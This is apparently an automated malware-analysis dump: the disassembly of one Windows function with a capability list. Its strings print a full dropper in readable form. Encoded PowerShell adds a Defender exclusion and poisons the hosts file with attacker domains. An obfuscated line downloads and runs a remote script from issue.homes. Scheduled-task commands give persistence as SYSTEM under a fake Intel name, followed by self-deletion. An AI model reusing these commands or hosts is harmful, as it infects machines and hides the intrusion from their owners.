Function at 0x140001280
Capabilities:
Create process on windows
Delete file
Get common file path
Schedule task via schtasks
Self delete
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1030]
mov eax, 0x1130
call fcn.140008ab0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1020], rax
lea rcx, [rbp + 0x5d2]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x5d0], si
call fcn.1400042c0
lea rcx, [rbp - 0x5e]
xor edx, edx
mov r8d, 0x206
mov word [rbp - 0x60], si
call fcn.1400042c0
lea rcx, [rbp + 0x3c2]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x3c0], si
call fcn.1400042c0
lea rcx, [rbp + 0xc02]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0xc00], si
call fcn.1400042c0
lea rcx, [rbp + 0xe12]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0xe10], si
call fcn.1400042c0
lea rcx, [rbp + 0x9f2]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x9f0], si
call fcn.1400042c0
lea rdx, [rbp + 0x5d0]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [rsi + 0x5c]
lea rcx, [rbp + 0x5d0]
call fcn.1400017bc
mov rdi, rax
call fcn.140001190
test eax, eax
jne 0x1400013c7
lea r8d, [rsi + 0x6c]
lea rcx, [rsp + 0x34]
xor edx, edx
mov dword [rsp + 0x30], 0x70
call fcn.1400042c0
lea rax, [0x1400165f8]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x5d0]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x48], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x14000166a
jmp 0x140001693
lea rcx, [rbp + 0x3c0]
mov edx, 0x104
mov qword [rsp + 0x1140], rbx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r8, [rbp + 0x3c0]
lea rdx, str._sconnectionupdate.bat
lea rcx, [rbp + 0xc00]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [rbp + 0x3c0]
lea rdx, str._sconnectionupdate2.bat
lea rcx, [rbp + 0xe10]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [rbp + 0x3c0]
lea rdx, str._sonce.bat
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [0x140016688]
lea rcx, [rbp + 0xc00]
call fcn.1400016d0
lea rcx, str._echo_off__n_powershell.exe__ep_bypass__w_hidden__EncodedCommand_QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAJABlAG4AdgA6AHcAaQBuAGQAaQByAFwAUwB5AHMAdABlAG0AMwAyACIADQAKACQAZgBpAGwAZQAgAD0AIAAkAGUAbgB2ADoAdwBpAG4AZABpAHIAIAArACAAIgBcAFMAeQBzAHQAZQBtADMAMgBcAGQAcgBpAHYAZQByAHMAXABlAHQAYwBcAGgAbwBzAHQAcwAuAGkAYwBzACIADQAKACQAYwBvAG4AdABlAG4AdAAgAD0AIAAiADEANQA0AC4AMQAyAC4AMgA0ADIALgAxADkAMAAgAGkAbgB2AGUAcwB0AG8AcgBhAHIAZQBhAC4AdQBzACIADQAKACQAYwBvAG4AdABlAG4AdAAyACAAPQAgACIAMwA4AC4AMgA0ADIALgAxADQAMwAuADIAMAAwACAAaQBzAHMAdQBlAC4AaABvAG0AZQBzACIADQAKACQAYwBvAG4AdABlAG4AdAAzACAAPQAgACIAMQA0ADQALgAxADIANgAuADEANAA2AC4AMgAwADEAIABwAHIAbwBqAGUAYwB0AHMAdABvAHIAZQAuAG8AbgBsAGkAbgBlACIADQAKACQAYwBvAG4AdABlAG4AdAA0ACAAPQAgACIAMwAxAC4AMgAyADAALgA5ADcALgAxADgANwAgAGEAdAB0AGEAYwBoAG0AZQBkAGkAYQAuAGwAaQB2AGUAIgANAAoADQAKAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGYAaQBsAGUAKQAgAHsADQAKAAkAJABvAHIAaQBnAGkAbgBhAGwAQwBvAG4AdABlAG4AdAAgAD0AIABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAaQBsAGUADQAKAAkAJABlAG4AdAByAHkARQB4AGkAcwB0AHMAIAA9ACAAJABvAHIAaQBnAGkAbgBhAGwAQwBvAG4AdABlAG4AdAAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8AIAAtAGwAaQBrAGUAIAAiACoAJABjAG8AbgB0AGUAbgB0ACoAIgAgAH0ADQAKAAkAaQBmACAAKAAtAG4AbwB0ACAAJABlAG4AdAByAHkARQB4AGkAcwB0AHMAKQAgAHsADQAKAAkACQBBAGQAZAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAaQBsAGUAIAAtAFYAYQBsAHUAZQAgACIAIgAsACAAJABjAG8AbgB0AGUAbgB0ACAALQBFAG4AYwBvAGQAaQBuAGcAIABEAGUAZgBhAHUAbAB0AA0ACgAJAH0ADQAKAAkAJABlAG4AdAByAHkARQB4AGkAcwB0AHMAIAA9ACAAJABvAHIAaQBnAGkAbgBhAGwAQwBvAG4AdABlAG4AdAAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8AIAAtAGwAaQBrAGUAIAAiACoAJABjAG8AbgB0AGUAbgB0ADIAKgAiACAAfQANAAoACQBpAGYAIAAoAC0AbgBvAHQAIAAkAGUAbgB0AHIAeQBFAHgAaQBzAHQAcwApACAAewANAAoACQAJAEEAZABkAC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgBpAGwAZQAgAC0AVgBhAGwAdQBlACAAIgAiACwAIAAkAGMAbwBuAHQAZQBuAHQAMgAgAC0ARQBuAGMAbwBkAGkAbgBnACAARABlAGYAYQB1AGwAdAANAAoACQB9AA0ACgAJACQAZQBuAHQAcgB5AEUAeABpAHMAdABzACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAEMAbwBuAHQAZQBuAHQAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAALQBsAGkAawBlACAAIgAqACQAYwBvAG4AdABlAG4AdAAzACoAIgAgAH0ADQAKAAkAaQBmACAAKAAtAG4AbwB0ACAAJABlAG4AdAByAHkARQB4AGkAcwB0AHMAKQAgAHsADQAKAAkACQBBAGQAZAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAaQBsAGUAIAAtAFYAYQBsAHUAZQAgACIAIgAsACAAJABjAG8AbgB0AGUAbgB0ADMAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEQAZQBmAGEAdQBsAHQADQAKAAkAfQANAAoACQAkAGUAbgB0AHIAeQBFAHgAaQBzAHQAcwAgAD0AIAAkAG8AcgBpAGcAaQBuAGEAbABDAG8AbgB0AGUAbgB0ACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAC0AbABpAGsAZQAgACIAKgAkAGMAbwBuAHQAZQBuAHQANAAqACIAIAB9AA0ACgAJAGkAZgAgACgALQBuAG8AdAAgACQAZQBuAHQAcgB5AEUAeABpAHMAdABzACkAIAB7AA0ACgAJAAkAQQBkAGQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABmAGkAbABlACAALQBWAGEAbAB1AGUAIAAiACIALAAgACQAYwBvAG4AdABlAG4AdAA0ACAALQBFAG4AYwBvAGQAaQBuAGcAIABEAGUAZgBhAHUAbAB0AA0ACgAJAH0ADQAKAH0ADQAKAGUAbABzAGUAIAB7AA0ACgAJAEEAZABkAC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgBpAGwAZQAgAC0AVgBhAGwAdQBlACAAIgAiACwAIAAkAGMAbwBuAHQAZQBuAHQALAAgACQAYwBvAG4AdABlAG4AdAAyACwAIAAkAGMAbwBuAHQAZQBuAHQAMwAsACAAJABjAG8AbgB0AGUAbgB0ADQAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEQAZQBmAGEAdQBsAHQADQAKAH0A__n
mov edx, 1
mov r9, rax
mov r8d, 0xc6a
mov rbx, rax
call fcn.140001a04
lea rcx, str._n_powershell.exe__command___string___a___eliasneliaseeliasw_eliasObeliasjeeliasct_neeliast.weliasebeliasCleliasient_.eliasdeliasoeliaswnleliasoeliasaeliasdSeliastreliasieliasneliasg_eliasheliasteliasteliasp:eliaselias_eliaselias_ieliasseliasseliasueliase.heliasoeliasmeliaseeliass_eliasueliaspeliaselias_eliasaelias.eliaspeliaseliasselias1eliaselias____b_a.replace_elias____ciex__b_iex__c_
mov r9, rbx
mov edx, 1
mov r8d, 0x190
call fcn.140001a04
mov rcx, rbx
call fcn.140001b4c
lea rdx, [0x140016688]
lea rcx, [rbp + 0xe10]
call fcn.1400016d0
lea rcx, str._echo_off__n_powershell.exe__ep_bypass__w_hidden__EncodedCommand_JABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiACQAZQBuAHYAOgB3AGkAbgBkAGkAcgBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbwBuAG4AZQBjAHQAaQBvAG4AdQBwAGQAYQB0AGUALgBiAGEAdAAiAA0ACgAkAHQAcgBpAGcAZwBlAHIAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQANAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0ATQB1AGwAdABpAHAAbABlAEkAbgBzAHQAYQBuAGMAZQBzACAAUABhAHIAYQBsAGwAZQBsAA0ACgAkAHAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAiAFMAWQBTAFQARQBNACIAIAAtAEwAbwBnAG8AbgBUAHkAcABlACAAUwBlAHIAdgBpAGMAZQBBAGMAYwBvAHUAbgB0ACAALQBSAHUAbgBMAGUAdgBlAGwAIABIAGkAZwBoAGUAcwB0AA0ACgANAAoAVQBuAHIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACIASQBuAHQAZQBsACgAUgApACAARQB0AGgAZQByAG4AZQB0ACAAQwBvAG4AbgBlAGMAdABpAG8AbgAgADEAMgAxADkALQBMAE0AMgAiACAALQBDAG8AbgBmAGkAcgBtADoAJABmAGEAbABzAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUADQAKAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACIASQBuAHQAZQBsACgAUgApACAARQB0AGgAZQByAG4AZQB0ACAAQwBvAG4AbgBlAGMAdABpAG8AbgAgADEAMgAxADkALQBMAE0AMgAiACAALQBBAGMAdABpAG8AbgAgACQAYQBjAHQAaQBvAG4AIAAtAFQAcgBpAGcAZwBlAHIAIAAkAHQAcgBpAGcAZwBlAHIAIAAtAFMAZQB0AHQAaQBuAGcAcwAgACQAcwBlAHQAdABpAG4AZwBzACAALQBQAHIAaQBuAGMAaQBwAGEAbAAgACQAcAByAGkAbgBjAGkAcABhAGwADQAKAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACIASQBuAHQAZQBsACgAUgApACAARQB0AGgAZQByAG4AZQB0ACAAQwBvAG4AbgBlAGMAdABpAG8AbgAgADEAMgAxADkALQBMAE0AMgAiACAA
mov edx, 1
mov r9, rax
mov r8d, 0x7a0
mov rbx, rax
call fcn.140001a04
mov rcx, rbx
call fcn.140001b4c
lea rdx, [0x140016688]
lea rcx, [rbp + 0x9f0]
call fcn.1400016d0
lea rcx, str._echo_off__n_schtasks__delete__tn__Intel_R__Ethernet_Connection_1219_LM___f__n_schtasks__create__tn__Intel_R__Ethernet_Connection_1219_LM___tr___windir_System32connectionupdate2.bat___ru__SYSTEM___sc_ONSTART__rl_HIGHEST__n_schtasks__run__tn__Intel_R__Ethernet_Connection_1219_LM___n_del__f__q___dpnx0____nul
mov edx, 1
mov r9, rax
mov r8d, 0x132
mov rbx, rax
call fcn.140001a04
mov rcx, rbx
call fcn.140001b4c
lea r8, [rbp + 0x9f0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, [rbp - 0x60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [rdi + 2]
lea rcx, [rbp - 0x60]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x60]
call section..text
lea rcx, [rbp + 0x1b2]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1b0], si
call fcn.1400042c0
mov r9d, 1
lea rdx, [rbp + 0x1b0]
lea r8d, [r9 + 0x36]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, str.tmp147
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x1b0]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea rcx, [rbp + 0x7f0]
xor edx, edx
movups xmm0, xmmword [str._stext]
mov r8d, 0x1f8
movaps xmmword [rbp + 0x7e0], xmm0
call fcn.1400042c0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x7e0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8, [rbp - 0x60]
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, [rbp - 0x60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [0x1400166c0]
lea rcx, [rbp - 0x60]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea r8, [rbp - 0x60]
lea rdx, str._c_del__Q___s_
lea rcx, [rbp + 0x7e0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r9, [rbp + 0x7e0]
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rbx, qword [rsp + 0x1140]
mov eax, 1
mov rcx, qword [rbp + 0x1020]
xor rcx, rsp
call fcn.1400016b0
lea r11, [rsp + 0x1130]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
xor ecx, ecx
call fcn.140001f94
int3